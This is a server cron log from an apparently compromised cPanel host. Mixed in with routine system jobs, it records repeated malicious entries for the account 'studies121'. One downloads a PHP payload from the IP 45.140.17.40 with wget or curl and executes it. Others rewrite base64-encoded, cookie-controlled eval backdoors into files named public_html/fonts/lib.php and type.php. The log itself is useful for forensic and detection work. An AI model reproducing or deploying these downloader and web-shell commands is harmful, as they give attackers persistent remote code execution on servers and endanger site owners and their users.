Sep  1 11:37:01 ip-184-168-122-23 CROND[15489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:38:01 ip-184-168-122-23 CROND[15685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:38:01 ip-184-168-122-23 CROND[15686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:38:01 ip-184-168-122-23 CROND[15688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:38:01 ip-184-168-122-23 CROND[15687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:38:01 ip-184-168-122-23 CROND[15689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:39:01 ip-184-168-122-23 CROND[15805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:39:01 ip-184-168-122-23 CROND[15808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:39:01 ip-184-168-122-23 CROND[15807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:39:01 ip-184-168-122-23 CROND[15809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:39:01 ip-184-168-122-23 CROND[15810]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 11:40:01 ip-184-168-122-23 CROND[15918]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:40:01 ip-184-168-122-23 CROND[15921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:40:01 ip-184-168-122-23 CROND[15922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:40:01 ip-184-168-122-23 CROND[15926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:40:01 ip-184-168-122-23 CROND[15927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:40:01 ip-184-168-122-23 CROND[15925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:40:01 ip-184-168-122-23 CROND[15928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:40:01 ip-184-168-122-23 CROND[15923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:41:01 ip-184-168-122-23 CROND[16080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:41:01 ip-184-168-122-23 CROND[16081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:41:01 ip-184-168-122-23 CROND[16083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:41:01 ip-184-168-122-23 CROND[16085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:42:01 ip-184-168-122-23 CROND[16170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:42:01 ip-184-168-122-23 CROND[16173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:42:01 ip-184-168-122-23 CROND[16174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:42:01 ip-184-168-122-23 CROND[16175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:42:01 ip-184-168-122-23 CROND[16176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:43:01 ip-184-168-122-23 CROND[16390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:43:01 ip-184-168-122-23 CROND[16393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:43:01 ip-184-168-122-23 CROND[16394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:43:01 ip-184-168-122-23 CROND[16395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:44:01 ip-184-168-122-23 CROND[16525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:44:01 ip-184-168-122-23 CROND[16528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:44:01 ip-184-168-122-23 CROND[16527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:44:01 ip-184-168-122-23 CROND[16530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:44:01 ip-184-168-122-23 CROND[16531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:45:01 ip-184-168-122-23 CROND[16635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:45:01 ip-184-168-122-23 CROND[16634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:45:01 ip-184-168-122-23 CROND[16638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:45:01 ip-184-168-122-23 CROND[16639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:45:01 ip-184-168-122-23 CROND[16640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:45:01 ip-184-168-122-23 CROND[16641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:46:01 ip-184-168-122-23 CROND[16729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:46:01 ip-184-168-122-23 CROND[16731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:46:01 ip-184-168-122-23 CROND[16730]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:46:01 ip-184-168-122-23 CROND[16736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:46:01 ip-184-168-122-23 CROND[16734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:46:01 ip-184-168-122-23 CROND[16735]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 11:46:01 ip-184-168-122-23 CROND[16733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:47:01 ip-184-168-122-23 CROND[16858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:47:01 ip-184-168-122-23 CROND[16859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:47:01 ip-184-168-122-23 CROND[16860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:47:01 ip-184-168-122-23 CROND[16864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:48:01 ip-184-168-122-23 CROND[17036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:48:01 ip-184-168-122-23 CROND[17035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:48:01 ip-184-168-122-23 CROND[17038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:48:01 ip-184-168-122-23 CROND[17040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:48:01 ip-184-168-122-23 CROND[17041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:49:01 ip-184-168-122-23 CROND[17278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:49:01 ip-184-168-122-23 CROND[17279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:49:01 ip-184-168-122-23 CROND[17282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:49:01 ip-184-168-122-23 CROND[17284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:50:01 ip-184-168-122-23 CROND[17381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:50:01 ip-184-168-122-23 CROND[17383]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:50:01 ip-184-168-122-23 CROND[17386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
